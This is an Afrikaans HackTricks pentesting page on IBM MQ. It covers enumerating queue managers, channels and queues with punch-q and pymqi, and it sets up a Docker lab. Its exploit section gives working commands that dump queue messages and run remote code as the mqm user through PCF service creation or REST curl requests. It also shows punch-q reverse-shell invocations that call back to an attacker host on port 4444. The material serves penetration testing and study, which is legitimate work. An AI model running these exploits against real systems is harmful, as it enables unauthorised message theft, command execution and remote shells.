1414 - Pentesting IBM MQ
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese inligting
IBM MQ is ’n IBM-tegnologie om message queues te bestuur. Soos ander message broker tegnologieë, is dit bedoel om inligting tussen produsente en verbruikers te ontvang, te stoor, te verwerk en te klassifiseer.
Volgens verstek luister dit op IBM MQ TCP-poort 1414. Soms kan ’n HTTP REST API op poort 9443 beskikbaar wees. Metrieke (Prometheus) kan ook vanaf TCP-poort 9157 toeganklik wees.
Die IBM MQ TCP-poort 1414 kan gebruik word om messages, queues, channels, … te manipuleer, maar ook om die instance te beheer.
IBM verskaf uitgebreide tegniese dokumentasie beskikbaar op https://www.ibm.com/docs/en/ibm-mq.
Gereedskap
Een voorgestelde gereedskap vir maklike eksploitasie is punch-q, met Docker-ondersteuning. Die gereedskap gebruik aktief die Python-biblioteek pymqi.
Vir ’n meer handmatige benadering, gebruik die Python-biblioteek pymqi. IBM MQ dependencies is benodig.
Installering van pymqi
IBM MQ dependencies moet geïnstalleer en gelaai word:
- Skep ’n rekening (IBMid) op https://login.ibm.com/.
- Laai IBM MQ biblioteke af vanaf https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Vir Linux x86_64 is dit 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
- Pak uit (
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz). - Voer
sudo ./mqlicense.shuit om die lisensiebepalings te aanvaar.
As jy Kali Linux gebruik, wysig die lêer
mqlicense.sh: verwyder/kommentarieer die volgende reëls uit (tussen reëls 105-110):if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- Installeer hierdie pakkette:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- Voeg dan tydelik die
.so-lêers by LD:export LD_LIBRARY_PATH=/opt/mqm/lib64, voordat jy ander gereedskap wat hierdie afhanklikhede gebruik, uitvoer.
Dan kan jy die projek pymqi kloon: dit bevat interessante kodefragmentjies, konstantes, … Of jy kan die biblioteek direk installeer met: pip install pymqi.
Gebruik punch-q
Met Docker
Gebruik bloot: sudo docker run --rm -ti leonjza/punch-q.
Sonder Docker
Kloon die projek punch-q en volg dan die readme vir installasie (pip install -r requirements.txt && python3 setup.py install).
Daarna kan dit met die punch-q-opdrag gebruik word.
Enumeration
Jy kan probeer om te enumerate die queue manager name, the users, the channels and the queues met punch-q of pymqi.
As TCP/1414 gefiltreer is of die teiken slegs die ingebedde webbediener blootstel, kyk ook na TCP/9443. Onlangse IBM MQ-weergawes stel die IBM MQ Console / REST API daar standaard bloot wanneer mqweb geaktiveer is, en die administratiewe REST-endpoint kan arbitrêre MQSC-opdragte uitvoer as jy geldige inlogbewyse het.
Queue Manager
Soms is daar geen beskerming teen die verkryging van die Queue Manager-naam nie:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
Kanale
punch-q gebruik ’n interne (wysigbare) wordlist om bestaande kanale te vind. Voorbeeld van gebruik:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
Dit gebeur dat sommige IBM MQ-instansies nie-geauthentiseerde MQ-versoeke aanvaar, dus is --username / --password nie nodig nie. Natuurlik kan toegangsregte ook verskil.
Sodra ons een kanaalnaam kry (hier: DEV.ADMIN.SVRCONN), kan ons alle ander kanale enumereer.
Die enumerasie kan basies met hierdie kodefragment code/examples/dis_channels.py van pymqi gedoen word:
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
… Maar punch-q embed ook daardie deel (met meer inligting!). Dit kan begin word met:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
CHLAUTH / OAM recon
Baie gevalle van “it connects but returns 2035” word veroorsaak deur CHLAUTH-reëls of deur ontbrekende OAM-toestemmings op die doelvoorwerpe.
As jy reeds administratiewe MQSC-toegang het, is MATCH(RUNCHECK) die vinnigste manier om te verstaan watter reël op ’n afstandsverbinding toegepas sal word:
echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR
Deur die REST admin endpoint op 9443 kan dieselfde check op afstand gedoen word:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
As jy genoeg regte het om PCF op afstand te gebruik, IBM openbaar MQCMD_INQUIRE_CHLAUTH_RECS, wat die channel authentication records en hul mappings na MCAUSER teruggee. Dit is nuttig om te bevestig of ’n channel afgeleë gebruikers na ’n meer bevoorregte plaaslike rekening map voordat jy boodskaptoegang, objekskaping of diensmisbruik probeer.
Waglyste
Daar is ’n code snippet met pymqi (dis_queues.py) maar punch-q maak dit moontlik om meer inligting oor die waglyste te verkry:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
Dump messages
Jy kan queue(s)/channel(s) teiken om te sniff out / dump messages vanaf hulle (nie-beskadigende operasie). Voorbeelde:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
Moet nie huiwer om alle geïdentifiseerde queues deur te loop nie.
Kode-uitvoering
Enkele besonderhede voordat ons voortgaan: IBM MQ kan op verskeie maniere beheer word: MQSC, PCF, Control Command. Sommige algemene lyste is te vind in IBM MQ documentation. PCF (Programmable Command Formats) is waarop ons fokus om op afstand met die instance te interakteer. punch-q en verder pymqi is gebaseer op PCF-interaksies.
Jy kan ’n lys van PCF commands vind:
Een interessante command is
MQCMD_CREATE_SERVICEen die dokumentasie is beskikbaar here. Dit neem as argument ’nStartCommandwat na ’n plaaslike program op die instance wys (voorbeeld:/bin/sh).Daar is ook ’n waarskuwing oor die command in die dokumentasie: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”
Nota: volgens IBM MQ dokumentasie (Administration Reference) is daar ook ’n HTTP-endpoint by
/admin/action/qmgr/{qmgrName}/mqscom die ekwivalente MQSC-opdrag vir diensskepping (DEFINE SERVICE) uit te voer. Hierdie aspek word nog nie hier gedek nie.
As MQ Console / REST API kredensiale beskikbaar is, kan jy dikwels dieselfde administratiewe primitiewe oor HTTPS op 9443 bereik sonder om die MQ client libraries te gebruik. IBM dokumenteer /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as ’n endpoint wat plain-text MQSC of JSON commands aanvaar.
Die diensskepping/verwydering met PCF vir op afstand programuitvoering kan gedoen word met punch-q:
Voorbeeld 1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
In die logs van IBM MQ, kan jy lees dat die opdrag suksesvol uitgevoer is:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
Jy kan ook bestaande programme op die masjien opnoem (hier /bin/doesnotexist … bestaan nie):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
Wees bewus dat die programlancering asinchronies is. Daarom het jy ’n tweede item nodig om die exploit te benut (listener vir reverse shell, file creation op ’n ander service, data exfiltration deur network …)
Dieselfde tegniek kan via die REST API gedryf word:
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
Dit is veral nuttig tydens assesserings waar:
9443is bereikbaar maar1414is beperk tot ’n kleiner bronreeks- Die teiken-span bestuur IBM MQ hoofsaaklik deur die webkonsole en het versuim om die REST-rolle te verhard
- Jy wil vermy om IBM MQ kliëntbiblioteke plaaslik te installeer en het slegs MQSC-level administrasie nodig
Voorbeeld 2
Vir eenvoudige reverse shell stel punch-q ook twee reverse shell payloads voor:
- Een met bash
- Een met perl
Natuurlik kan jy ’n pasgemaakte een bou met die execute kommando.
Vir bash:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Vir perl:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Aangepaste PCF
Jy kan in die IBM MQ-dokumentasie delf en direk die pymqi python-biblioteek gebruik om spesifieke PCF-kommando’s te toets wat nie in punch-q geïmplementeer is nie.
Voorbeeld:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
As jy nie die konstante name kan vind nie, kan jy die IBM MQ documentation raadpleeg.
_Voorbeeld vir
MQCMD_REFRESH_CLUSTER(Desimaal = 73). Dit benodig die parameterMQCA_CLUSTER_NAME(Desimaal = 2029) wat_*(Doc: ):*import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
Toetsomgewing
As jy die IBM MQ-gedrag en exploits wil toets, kan jy ’n plaaslike omgewing opstel wat op Docker gebaseer is:
- ’n Rekening op ibm.com en cloud.ibm.com.
- Skep ’n gekontaineriseerde IBM MQ met:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest
Hier is die queuebestuurder se naam gestel op MYQUEUEMGR (veranderlike MQ_QMGR_NAME).
Onlangse 9.4.x ontwikkelaarbeelde het die standaardgedrag verander:
adminenappword slegs geskep as jy hul wagwoorde instel- IBM dokumenteer
MQ_ADMIN_PASSWORD/MQ_APP_PASSWORDas deprecated vanaf9.4.0.0 - Die voorkeurwyse is om geheime met die name
mqAdminPasswordenmqAppPasswordin te voeg
Vir ’n vinnige plaaslike laboratorium met Podman, kan jy albei gebruikers so skep:
printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest
Met die standaard ontwikkelaar-konfigurasie:
DEV.ADMIN.SVRCONNlaat slegs dieadmingebruiker toeDEV.APP.SVRCONNis die toepassingskanaal en die verwagte identiteit is dieappgebruikerhttps://<target>:9443/ibmmq/consolemaak die web console sigbaar wanneer die ingebedde webbediener aangeskakel is
Jy behoort IBM MQ aan die gang te hê met sy poorte blootgestel:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:latest "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
Die ou weergawes van IBM MQ docker images is beskikbaar by: https://hub.docker.com/r/ibmcom/mq/.
Verwysings
- mgeeky’s gist - “Practical IBM MQ Penetration Testing notes”
- MQ Jumping - DEFCON 15
- IBM MQ documentation
- IBM MQ REST API:
/admin/action/qmgr/{qmgrName}/mqsc - IBM MQ container default developer configuration
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


